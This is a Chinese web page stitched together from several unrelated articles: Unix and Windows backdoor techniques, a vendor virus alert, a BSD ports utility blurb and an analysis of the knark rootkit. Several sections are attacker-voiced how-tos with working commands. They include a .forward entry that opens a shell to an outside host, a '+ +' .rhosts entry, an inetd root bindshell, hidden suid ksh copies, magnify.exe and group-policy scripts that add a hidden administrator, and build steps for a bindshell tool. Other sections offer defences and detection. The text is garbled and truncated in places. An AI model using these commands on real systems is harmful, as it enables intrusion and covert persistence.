下面就是小编给大家整理的Linux系统的各种后门和工具的简单讲解(共含9篇),希望您能喜欢!同时,但愿您也能像本文投稿人“可人小面包”一样,积极向本站投稿分享好文章。
攻入Linux系统后,很多入侵者往往就开始得意忘形了,
Linux系统的各种后门和工具的简单讲解
,
这其中还有一个原因,就是技术性也要求更高了。下面,我们来看看一些常用的经典工具。 1、从这里延伸:后门和连接工具 (1)Httptunnel Tunnel的意思是隧道,通常HTTPTunnel被称之为HTTP暗道,它的原理就
CMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允 许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间 形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加 密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说 就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广 泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地 利用WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows N T 上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程 序 . 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Net work Traffic backdoors, theyarevery feasible for intruders to inst all on Windows NT. 此处该如何翻译?
:( 解决 当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀 .
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之 .许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的 安 全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在 入 侵前由干净 系统建立. 一旦 入侵并建立了后门再建立基准线, 那么后门也 被合并进去了 .一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多 包含了后门. 当公司发现有 并求助备份祛除后门时, 一切努力是徒劳的, 因 为他们恢复系 统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要. 以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于 实 时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判 断是 否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号? 取数据进 行进一 步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或 者是否 装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告 由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击 和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不 懈的努力! ( Be aware that no defense is foolproof, and that there is no substitu te for diligent attention. 此句该如何翻译? :( )
you may want to add:
forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username
a .forward file might be constructed as follows:
username
|“/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh”
permutations of this method include alteration of the systems mail ali ases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script. from the forward file that can take arbitrary commands via stdin (after minor
preprocessing).
PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and ser ver).
$#@62; Using smrsh can effectively negate this backdoor (although its quite
$#@62; possibly still a problem if you allow things like elms filter or
$#@62; procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户usernam e 的 .forward可能设置如下:
username
|“/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh”
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后). $#@62;利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elms filter或 procmail$#@62;类程序, 很有可能还有问题
......)
( 此段的内容理解不深, 故付上英文, 请指教! )
你也许能用这个“特性”做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能 检查出这个错误 的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权 利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh 在Linux里,这将把用户 rmartin的uid设为0.
一些热衷于安全方面的朋友可能会遇到这样的困惑,在某些网站下载的 工具本身就含有后门,这有点像网络中的“无间道”,我们先暂且不论到底是如何出现这种情况的,单单看一下如何才能将这些后门揪出来吧。
那么如何检测自己所使用的工具中是否含有后门呢?对于有一定经验的高手而言可以使用WSockExpert进行网络数据抓包,如果系统中没有WSockExpert,可以使用Netstat命令,用于显示协议统计信息和当前TCP/IP网络连接及端口占用信息。
1.关闭系统中所有可能连接网络的程序,然后只登录某个程序,打开命令提示符,输入并执行“Netstat -an>C:NET1.TXT”命令,将未运行木马前的网络连接状态保存在C:NET1.TXT之中,关闭程序,
2.运行“后门,配置并生成木马程序。
3.运行生成的QQ木马程序后重新登录程序。打开命令提示符,输入并执行“Netstat -an>C:NET2.TXT”命令,将运行木马后的网络连接保存在C:NET2.TXT中。
5.比较NET1.TXT和NET2.TXT我们会发现在NET2.TXT中多出了几个网络地址,而除了我们配置得到木马的连接地址外,其它就是后门了。
在用Netstat进行后门测试时要注意:Netstat并不能立即返回当前的网络连接状态,会有延迟,也就是说我们执行Netstat后看到的网络连接状态很可能是3秒钟以前的,不过这并不影响我们对后门的测试。
最后告诉大家,并不是所有的程序都能通过这种方式检测,比如扫描类工具,面对很多动态网络环境的操作,会造成多个变化的网络地址加入到程序中来。
使用BSD的ports,常见的问题是,想在安装之前知道当前软件及其依赖软件都有什么选项,pkg-message文件中有什么安装说明,而一个一个查看又太费劲;另一个问题是,想快速的删除那些build-depend和删除软件遗留的无用被依赖软件, 因此写了三个工具ports-tools.
使用BSD的ports,常见的问题是,想在安装之前知道当前软件及其依赖软件都有什么选项,pkg-message文件中有什么安装说明,而一个一个查看又太费劲;另一个问题是,想快速的删除那些build-depend和删除软件遗留的无用被依赖软件。因此写了三个工具ports-tools.tar.bz2。其中grep-defines.rb用于列出当前软件及其依赖软件的可定义项,grep-messages.rb用于列出当前软件及其依赖软件的安装说明,pkg-delete.rb用于辅助pkg_info进行包的快速删除。
使用方法或示范:
grep-defines.rb:grep-defines.rb x11-wm/xfce4
grep-messages.rb:grep-messages.rb x11-wm/xfce4
pkg-delete.rb:首先用pkg_info > pkglist的方式得到pkg列表,编辑之,将需要保留地pkg行删掉(ee中ctrl+k即可),然后pkg-delete.rb pkglist即可,
因为没有使用分析makefile的方式,而只是简单的字符串分析,所以针对某些ports项,grep-*.rb可能会出错,欢迎将错误信息反馈给我。另:如您的ports数据不在/usr/ports,请修改源文件中Port_base至符合您的情况;而且必须在当前目录运行,因为pt-common.rb文件不在ruby的lib目录中……
原文转自:www.ltesting.net
后门是攻击者出入系统的通道,惟其如此它隐蔽而危险,攻击者利用后门技术如入无人之境,这是用户的耻辱。针对Windows系统的后门是比较多的,对于一般的后门也为大家所熟知。下面笔者揭秘四个可能不为大家所了解但又非常危险的后门。
1、嗅探欺骗,最危险的后门
这类后门是攻击者在控制了主机之后,并不创建新的帐户而是在主机上安装嗅探工具窃取管理员的密码。由于此类后门,并不创建新的帐户而是通过嗅探获取的管理员密码登录系统,因此隐蔽性极高,如果管理员安全意识不高并缺少足够的安全技能的话是根本发现不了的。
(1).安装嗅探工具
攻击者将相应的嗅探工具上传或者下载到服务器,然后安装即可。需要说明的是这些嗅探工具一般体积很小并且功能单一,但是往往被做成驱动形式的,所以隐蔽性极高,很难发现也不宜清除。
(2).获取管理员密码
嗅探工具对系统进行实施监控,当管理员登录服务器时其密码也就被窃取,然后嗅探工具会将管理员密码保存到一个txt文件中。当攻击者下一次登录服务器后,就可以打开该txt文件获取管理员密码。此后他登录服务器就再不用重新创建帐户而是直接用合法的管理员帐户登录服务器。如果服务器是一个Web,攻击者就会将该txt文件放置到某个web目录下,然后在本地就可以浏览查看该文件了。
(3).防范措施
嗅探后门攻击者以正常的管理员帐户登录系统,因此很难发现,不过任何入侵都会留下蛛丝马迹,我们可以启用组策略中的“审核策略”使其对用户的登录情况进行记录,然后通过事件查看器查看是否有可疑时间的非法登录。不过,一个高明的攻击者他们会删除或者修改系统日志,因此最彻底的措施是清除安装在系统中的嗅探工具,然后更改管理员密码。
2、放大镜程序,最狡猾的后门
放大镜(magnify.exe)是Windows /XP/系统集成的一个小工具,它是为方便视力障碍用户而设计的。在用户登录系统前可以通过“Win+U”组合键调用该工具,因此攻击者就用精心构造的magnify.exe同名文件替换放大镜程序,从而达到控制服务器的目的。
通常情况下,攻击者通过构造的magnify.exe程序创建一个管理员用户,然后登录系统。当然有的时候他们也会通过其直接调用命令提示符(cmd.exe)或者系统shell(explorer.exe)。需要说明的是,这样调用的程序都是system权限,即系统最高权限。不过,以防万一当管理员在运行放大镜程序时发现破绽,攻击者一般通过该构造程序完成所需的操作后,最后会运行真正的放大镜程序,以蒙骗管理员。其利用的方法是:
(1).构造批处理脚本
@echo off
net user gslw$ test168 /add
net localgroup administrators gslw$ /add
%Windir%system32nagnify.exe
exit
将上面的脚本保存为magnify.bat,其作用是创建一个密码为test168的管理员用户gslw$,最后运行改名后的放大镜程序nagnify.exe。
(2).文件格式转换
因为批处理文件magnify.bat的后缀是bat,必须要将其转换为同名的exe文件才可以通过组合键Win+U调用。攻击者一般可以利用WinRar构造一个自动解压的exe压缩文件,当然也可以利用bat2com、com2exe进行文件格式的转换。我们就以后面的方法为例进行演示。
打开命令行,进入bat2com、com2exe工具所在的目录,然后运行命令“bat2com magnify.bat”将magnify.bat转换成magnify.com,继续运行命令“com2exe magnify.com”将magnify.com转换成magnify.exe,这样就把批处理文件转换成和放大镜程序同名的程序文件。
(3).放大镜文件替换
下面就需要用构造的magnify.exe替换同名的放大镜程序文件,由于Windows对系统文件的自我保护,因此不能直接替换,不过Windows提供了一个命令replace.exe,通过它我们可以替换系统文件。另外,由于系统文件在%Windir%system32dllcache中有备份,为了防止文件替换后又重新还原,所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下,我们可以通过一个批处理即可实现文件的替换。
@echo off
copy %Windir%system32dllcachemagnify.exe nagnify.exe
copy %Windir%system32magnify.exe nagnify.exe
replace.exe %Windir%magnify.exe %Windir%system32dllcache
replace.exe %Windir%magnify.exe %Windir%system32
exit
上面批处理的功能是,首先将放大镜程序备份为nagnify.exe,然后用同名的构造程序将其替换,
(4).攻击利用
当完成上述操作后,一个放大镜后门就做成了。然后攻击者通过远程桌面连接服务器,在登录界面窗口摁下本地键盘的“Win+U”组合键,选择运行其中的“放大镜”,此刻就在服务器上创建了一个管理员用户gslw$并打开了放大镜工具,然后攻击者就开业通过该帐户登录服务器。当然,攻击者在断开登录前会删除所有与该帐户相关的信息,以防被管理员发现。
(5).防范措施
进入%Windir%system32查看magnify.exe的文件图标是否是原来的放大镜的图标,如果不是的话极有可能被植入了放大镜后门。当然,有的时候攻击者也会将其文件图标更改为和原放大镜程序的图标一样。此时我们可以查看magnify.exe文件的大小和修改时间,如果这两样有一项不符就比较怀疑了。我们也可以先运行magnify.exe,然后运行lusrmgr.msc查看是否有可疑的用户。如果确定服务器被放置了放大镜后门,首先要删除该文件,然后恢复正常的放大镜程序。当然,我们也可以做得更彻底一些,用一个无关紧要的程序替换放大镜程序。甚至我们也可以以其人之道还治其人之身,构造一个magnify.exe,通过其警告攻击者或者进行入侵监控和取证。
补充:与放大镜后门类似的还有“粘滞键”后门,即按下SHIEF键五次可以启动粘滞键功能,其利用和防范措施与放大镜后门类似,只是将magnify.exe换成了sethc.exe。
3、组策略欺骗,最隐蔽的后门
相对来说,组策略后门更加隐蔽。往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。其实,在最策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。这就是通过最策略的“脚本(启动/关机)”项来说实现。具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
攻击者获得了服务器的控制权就可以通过这个后门实施对对主机的长期控制。它可以通过这个后门运行某些程序或者脚本,最简单的比如创建一个管理员用户,他可以这样做:
(1).创建脚本
创建一个批处理文件add.bat,add.bat的内容是:@echo off & net user gslw$ test168 /add && netlocalgroup administrators gslw$ /add & exit (创建一个用户名为gslw$密码为test168的管理员用户)。
(2).后门利用
在“运行”对话框中输入gpedit.msc,定位到“计算机配置一>Windows设置一>脚本(启动/关机)”, 双击右边窗口的“关机”,在其中添加add.bat。就是说当系统关机时创建gslw$用户。对于一般的用户是根本不知道在系统中有一个隐藏用户,就是他看见并且删除了该帐户,当系统关机时又会创建该帐户。所以说,如果用户不知道组策略中的这个地方那他一定会感到莫名其妙。
其实,对于组策略中的这个“后门”还有很多利用法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就不用在系统中创建帐户了,直接利用管理员帐户远程登录系统。因此它也是“双刃剑”,希望大家重视这个地方。当你为服务器被攻击而莫名其妙时,说不定攻击者就是通过它实现的。
4、telnet欺骗,最容易被忽略的后门
telnet是命令行下的远程登录工具,不过在服务器管理时使用不多也常为管理员所忽视。攻击者如果在控制一台服务器后,开启“远程桌面”进行远程控制非常容易被管理员察觉,但是启动Telnet进行远程控制却不容易被察觉。不过,telnet的默认端口是23,如果开启后,别人是很容易扫描到的,因此攻击者会更改telnet的端口,从而独享该服务器的控制权。
(1).修改端口
本地修改Windows 2003服务器的telnet端口的方法是:“开始→运行”输入cmd打开命令提示符,然后运行命令“tlntadmn config port=800”(800是修改后的telnet端口,为了避免端口冲突不用设置成已知服务的端口。) 当然,我们也可以远程修改服务器的telnet端口,在命令提示符下输入命令“tlntadmn config \192.168.1.9 port=800 -u gslw -p test168 ”(\192.168.1.9对方IP,port=800要修改为的telnet端口,-u指定对方的用户名,-p指定对方用户的密码。)
(2).远程登录
攻击者在本地运行命令提示符(cmd.exe)输入命令“telnet 192.168.1.9 800”然后输入用户名及其密码记录telnet到服务器。
(3).防范措施
对于telnet后门的方法非常简单,可以通过“tlntadmn config port=n”命令更改其端口,更彻底的运行“services.msc”打开服务管理器,禁用telnet服务。
总结:其实,不管什么样的后门都有一个共同的特点DD隐蔽性,是见不得阳光的。只要大家掌握一定的系统技术,并时刻提高警惕就能让后门显形。知己知彼,了解后门的原理,就能够从根本上终结后门。
he Soapbox 那些可以用来处理入侵威胁的工具不在本系列讨论内容中,本文只覆盖在入侵发生之后使用的工具,
UNIX 系统应急响应工具
,
入侵通常是可以防止的。使用一些比如保证系统更新安装最新补丁的技术,按照最小化服务配置系统,使用设计为的操作系统,使用能够加固系统的核心补丁等
这里请看一下这一篇文章:Linux下的后门和日志工具/Article/04/8442.html
当我们通过某种手段控制一个主机时,为了使自己能再次光顾这台计算机,我们通常在这个机器上留下后门,以便我们再次访问.一个做得好的后门,即使在入侵被管理员发现后,仍然能让你再次访问到主机.
本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限,下面介绍一下我常用的制作后门的手法,不会也不可能覆盖到所有可能的方法,请原谅.
1.Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入“+ +”, 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 “+ +”, 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.
例如:
# echo + + > /usr/bin/.rhosts
# cat /usr/bin/.rhosts
+ +
# rlogin -l bin localhost
将不用输入密码直接用bin帐号rlogin登陆进你的机器.
2.Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用“strings”命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
一般的rootkit包里都有login后门程序.
3.服务进程后门
inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程,该配置文件 /etc/inetd.conf 很简单,基本形式如下:
(1) (2) (3) (4) (5) (6) (7)
shell stream tcp nowait root /usr/sbin/in.rshd in.rshd
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd
comsat dgram udp wait root /usr/sbin/in.comsat in.comsat
talk dgram udp wait root /usr/sbin/in.talkd in.talkd
1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。
3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。
5:第五栏给出运行守护进程的用户名。
6:第六栏给出守护进程的全限定路径名。
7:守护进程的真实名字及其参数。 如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 internal 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell。
当然我们有一个更简单的方法,
下面的操作bind root shell 1524端口.
# echo ingreslock stream tcp nowait root /bin/ksh ksh -i > /tmp/.x
# /usr/sbin/inetd -s /tmp/.x
# rm -f /tmp/.x
# telnet localhost 1524
Trying 127.0.0.1...
Connected to localhost. Escape character is ^].
#
# id
ksh: id^M: not found
# id;
uid=1002(gao) gid=1(other) euid=0(root)
ksh: ^M: not found
# exit;
Connection closed by foreign host.
#
注意,这样bind的shell在telnet上去后,你要在你想执行的命令后面添加一个“ ; ”号.即你要执行id命令的输入应为: id;
当然你也可以把ingreslock换成其他服务.具体请查看/etc/services寻找对应的服务名和端口.
下面为部分/etc/services内容.
# cat /etc/services
#ident “@(#)services 1.20 98/07/08 SMI” /* SVr4.0 1.8 */
#
# Network services, Internet style
#
tcpmux 1/tcp
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp
mail time 37/tcp timserver
time 37/udp timserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/udp
domain 53/tcp
bootps 67/udp # BOOTP/DHCP server
bootpc 68/udp # BOOTP/DHCP client
4.port bind suid Shell 后门
入侵者可能在任意端口bind suid Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉.
我提供的压缩包door.zip里有一个ekobackdoor-v1.1.tar,为linux下的bindshell程序包.大家可以自己编译一下.
方法为,
修改ekobdoor.c
查找
#define PASSWORD “ekorulez”
把“ekorulez” 改成你要的密码.
比如
#define PASSWORD “cnhonker”
把ekobackdoor-v1.1.tar解压然后make
就可以了.
具体使用方法为:
# ./ekobdoor [opcion] [argumento]
下面为不用输入密码的
# ./ekobdoor -b 31337
c: telnet 200.45.0.115 31337
Trying 200.45.0.115...
Connected to 200.45.0.115.
Escape character is ^].
#
下面为需要输入密码的.
# ./ekobdoor -s 31337
c: telnet 200.45.0.115 31337
Trying 200.45.0.115...
Connected to 200.45.0.115.
Escape character is ^].
cnhonker --->输入密码.
#
这里的31337你可以改成你想要的端口.
当然它还有更多其他功能.具体你用 -h 查看
#./ekobdoor -h
5.suid shell
在 /tmp 或者其他的目录下放置 suid shell,
以后只要你运行这个程序,就会轻易得到根用户权限。
#cp /bin/ksh /tmp/.sh
#chown root:root /tmp/.sh
#chmod +s /tmp/.sh
当你运行/tmp/.sh时,
这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出程序用来获得root权限的,也一般是溢出后执行/bin/ksh.
$id
uid=1002(oracle) gid=1(other)
$/tmp/.sh
#
#id
uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
我们又是root了.
当然,为了更加隐蔽,我们不能把suid shell 放在/tmp
因为它是很容易被发现的.
我们应该放在深层的目录里面.
比如:
/usr/X11/include/X11/
或者
/usr/lib/
等等
通常我做的是:
# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
# cp /bin/ksh /usr/lib/lib/.../lib
# chown root:sys /usr/lib/lib/.../li
1月23日,瑞星全球反病毒监测网截获一新型病毒--Win32.Ditex,并将其命名为“系统后门”――夹带后门程序的系统病毒,经瑞星反病毒专家分析,该病毒可通过传染文件来传播系统“后门”,有极大的安全隐患。
该病毒会浏览系统中连接的所有存储设备,包括本地硬盘,移动硬盘,网络映射的驱动器等,在其中寻找所有的可执行文件,然后将自身以加密的形式加入到该文件的尾部,完成感染。当被感染文件运行时,则会继续感染其它文件,如此往复,该病毒会在很短的时间内将系统中的所有可执行文件全部感染。
被感染的计算机,则会通过各种途径传播“系统后门”病毒,譬如大家的互相拷贝、局域网可写文件夹、邮件等。
除了拥有系统病毒的感染能力,“系统后门”的危害还来自于它的“后门”程序。它在被感染的计算机的系统中打开一个病毒通道,从而使了解该病毒特性的人,都可以通过这个“秘密”通道对用户的计算机为所欲为。
这时外部的操纵者可以在被感染的计算机上做各种操作:上传一些病毒或 程序,从计算机中盗取任何机密信息,甚至可以删除系统、格式化硬盘等等。此病毒所具有的这种“后门”程序和上述的感染能力结合在一起,结果就是可以在迅速传播的同时,感染到哪里就将“后门”开到哪里。
特别是对企事业单位的局域网用来说,一旦有一台机器中招,则整个局域网中的所有计算机都将被陆续感染、然后被开了“后门”,这样的话对于恶意的外部操作者来说,整个局域网将会成为“一座不设防的城市”,
瑞星公司将于截获该病毒当晚紧急升级至15.19版本,请广大用户及时升级,以避免不必要的损失。
[病毒技术小贴士]
瑞星反病毒工程师认为,“系统后门”在程序编写方面有独到的“创新之处”,也体现出新型网络病毒的一个发展方向。“系统+后门”不光是功能上融合,也是程序编写技术上的融合。
该病毒主体用高级语言VC++进行编写,功能很强。了解病毒技术的用户都知道,高级语言编写的病毒功能相对很强,做一些网络传播很适合,但高级语言太死板,不够灵活,无法编写象感染文件、加解密等底层功能,所以系统病毒很少用高级语言编写,往往采用汇编语言。
该病毒技术上的一个重要特点,就是结合了网络病毒的网络传播和系统病毒的底层传染功能,即:采用用高级语言做病毒的大框架和网络方面的工作,用精简的汇编语言编写核心的功能:感染和加、解密。这两种编程技术的融合,使得该病毒传播范围更广,更加难以清除。
在此,瑞星反病毒专家提醒广大用户,该病毒已经呈现出新的趋势:编程更复杂、 感染更复杂、查杀更复杂、破坏更复杂。而个人用户采用手动查杀病毒,局域网用户采用单机版断网杀毒的方法越来越难以满足对新病毒的防范。为了保护广大计算机用户的信息安全,请选用相应的反病毒软件,特别指出的是局域网用户应尽快改用网络版杀毒软件。
本文讨论了Linux环境下攻击者入侵成功以后常常使用的一些后门技术,并且对最著名的rootkit工具之一?knark进行了详细的分析,并且指出了在发现系统被入侵以后如何发现是否是kark及如何恢复,
注意:本文是用于管理员学习之用,不可用于进行网络攻击否则带来的任何法律后果自行负责。本文作者不对由于本文导致的任何后果负任何责任。
一、什么是“rootkit”?
入侵者入侵后往往会进行清理脚印和留后门等工作,最常使用的后门创建工具就是rootkit。不要被名字所迷惑,这个所谓的“rootkit”可不是给超级用户root用的,它是入侵者在入侵了一太主机后,用来做创建后门并加以伪装用的程序包。这个程序包里通常包括了日志清理器,后门等程序。同时,程序包里通常还带有一些伪造的ps、ls、who、w、netstat等原本属于系统本身的程序,这样的话,程序员在试图通过这些命令查询系统状况的时候,就无法通过这些假的系统程序发觉入侵者的行踪。
在一些 组织中,rootkit (或者backdoor) 是一个非常感兴趣的话题。各种不同的rootkit被开发并发布在internet上。在这些rootkit之中, LKM尤其被人关注, 因为它是利用现代操作系统的模块技术。作为内核的一部分运行,这种rootkit将会越来越比传统技术更加强大更加不易被发觉。一旦被安装运行到目标机器上, 系统就会完全被控制在hacker手中了。甚至系统管理员根本找不到安全隐患的痕迹, 因为他们不能再信任它们的操作系统了。后门程序的目的就是甚至系统管理员企图弥补系统漏洞的时候也可以给hacker系统的访问权限。
入侵者通过:设置uid程序, 系统木马程序, cron后门等方法来实现入侵者以后从非特权用户使用root权限。
*设置uid程序。 在一些文件系统理放一些设置uid脚本程序。无论何时它们只要执行这个程序它们就会成为root。
*系统木马程序。 替换一些系统程序,如“login”程序。因此, 只要满足一定的条件,那些程序就会给 最高权限。
*Cron后门。 在cron增加或修改一些任务,在某个特定的时间程序运行,他们就可以获得最高权限。
具体可能通过以下方法给予远程用户以最高访问权限: “.rhost” 文件, ssh认证密钥, bind shell, 木马服务程序。
*“.rhosts” 文件。一旦 “+ +”被加入某个用户的.rhosts文件里, 任何人在任何地方都可以用这个账号来登陆进来而不需要密码。
*ssh认证密钥。 把他自己的公共密钥放到目标机器的ssh配置文件“authorized_keys”里, 他可以用该账号来访问机器而不需要密码。
*Bind shell。 绑定一个shell到一个特定的tcp端口。任何人telnet这个端口都可以获得交互的shell。更多精巧的这种方式的后门可以基于udp,或者未连接的tcp, 甚至icmp协议。
*Trojaned服务程序。任何打开的服务都可以成为木马来为远程用户提供访问权限。例如, 利用inetd服务在一个特定的端口来创建一个bind shell,或者通过ssh守护进程提供访问途径。
在入侵者植入和运行后门程序之后, 他会设法隐藏自己存在的证据,这主要涉及到两个方面问题: 如何来隐藏他的文件且如何来隐藏他的进程。
为了隐藏文件, 入侵者需要做如下事情: 替换一些系统常用命令如“ls”, “du”, “fsck”。在底层方面, 他们通过把硬盘里的一些区域标记为坏块并把它的文件放在那里。或者如果他足够疯狂,他会把一些文件放入引导块里。
为了隐藏进程, 他可以替换 “ps”程序, 或者通过修改argv[]来使程序看起来象一个合法的服务程序。有趣的是把一个程序改成中断驱动的话,它就不会出现在进程表里了。
RootKit-Knark的历史
Knark是第二代的新型rootkit工具-其基于LJM(loadable kernel module)技术,使用这种技术可以有效地隐藏系统的信息。作者在代码和README文件中都标注有不承担责任的声明,声明该代码不可以被用作非法活动。然而该软件可以容易地被用于这种目的。
Knark是由creed@sekure.net编写的,主要基于www.dataguard.no/bugtraq/1997_4/0059.html中Runar Jensen编写的代码heroin.c,设计思想主要来自于Phrack 52中plaguez发表的文章Weakening the Linux Kernel“。在重新编写了heroin.c的大部分代码以后,Creed决定重新命名为”Knark“,在瑞典语中是指吸毒者。Creed编写的其他软件可以在www.sekure.net/~happy-h/得到,但是由于该站点只有瑞典语版本,因此应用并不广泛。
Knark的第一个公开版本是0.41,发布于June, 1999。可以在B4B0 #9中索引到它:packetstorm.securify.com/mag/b4b0/b4b0-09.txt。随后0.50和0.59被发布,当前版本是0.59。可以从这里下载0.59版。
Knark特性
Knark0.59具有以下特性:
*隐藏或显示文件或目录
*隐藏TCP或UDP连接
*程序执行重定向
*非授权地用户权限增加(”rootme“)
*改变一个运行进程的UID/GID的工具
*非授权地、特权程序远程执行守护进程
*Kill ?31来隐藏运行的进程
联合使用程序执行重新定向和文件隐藏,入侵者能提供各种后门程序执行。由于执行重定向是在内核级别进行的,因此文件检测工具不会发现程序文件被修改-原始的执行程序并没有被修改,因此配置检测工具在路径环境中也不会发现任何异常。
如果Knark结合另外一个用来隐藏系统当前加载的模块的LKM工具modhide,就可能实现甚至通过lsmod命令也不能发现knark的存在。
Knark软件包的安装和使用
该软件包的核心软件是knark,c,它是一个Linux LKM(loadable kernel-module)。运行命令”make“来编译knark软件包,通过”insmod knark“命令来加载该模块。当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:
author 作者自我介绍
files 系统中隐藏文件列表
nethides 在/proc/net/[tcp|udp]隐藏的字符串
pids 被隐藏的pids列表,格式类似于ps命令输出
redirects 被重定向的可执行程序入口列表
该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o,
除了taskhack.c,其用于直接修改/dev/kmem)
hidef 用于在系统中隐藏文件
在/usr/lib目录下创建子目录hax0r,然后运行命令”./hidef /usr/lib/.hax0r“,则该目录会被隐藏,”ls“或”du“等命令都不能显示该目录及其子目录。
unhidef 用来恢复被隐藏的文件
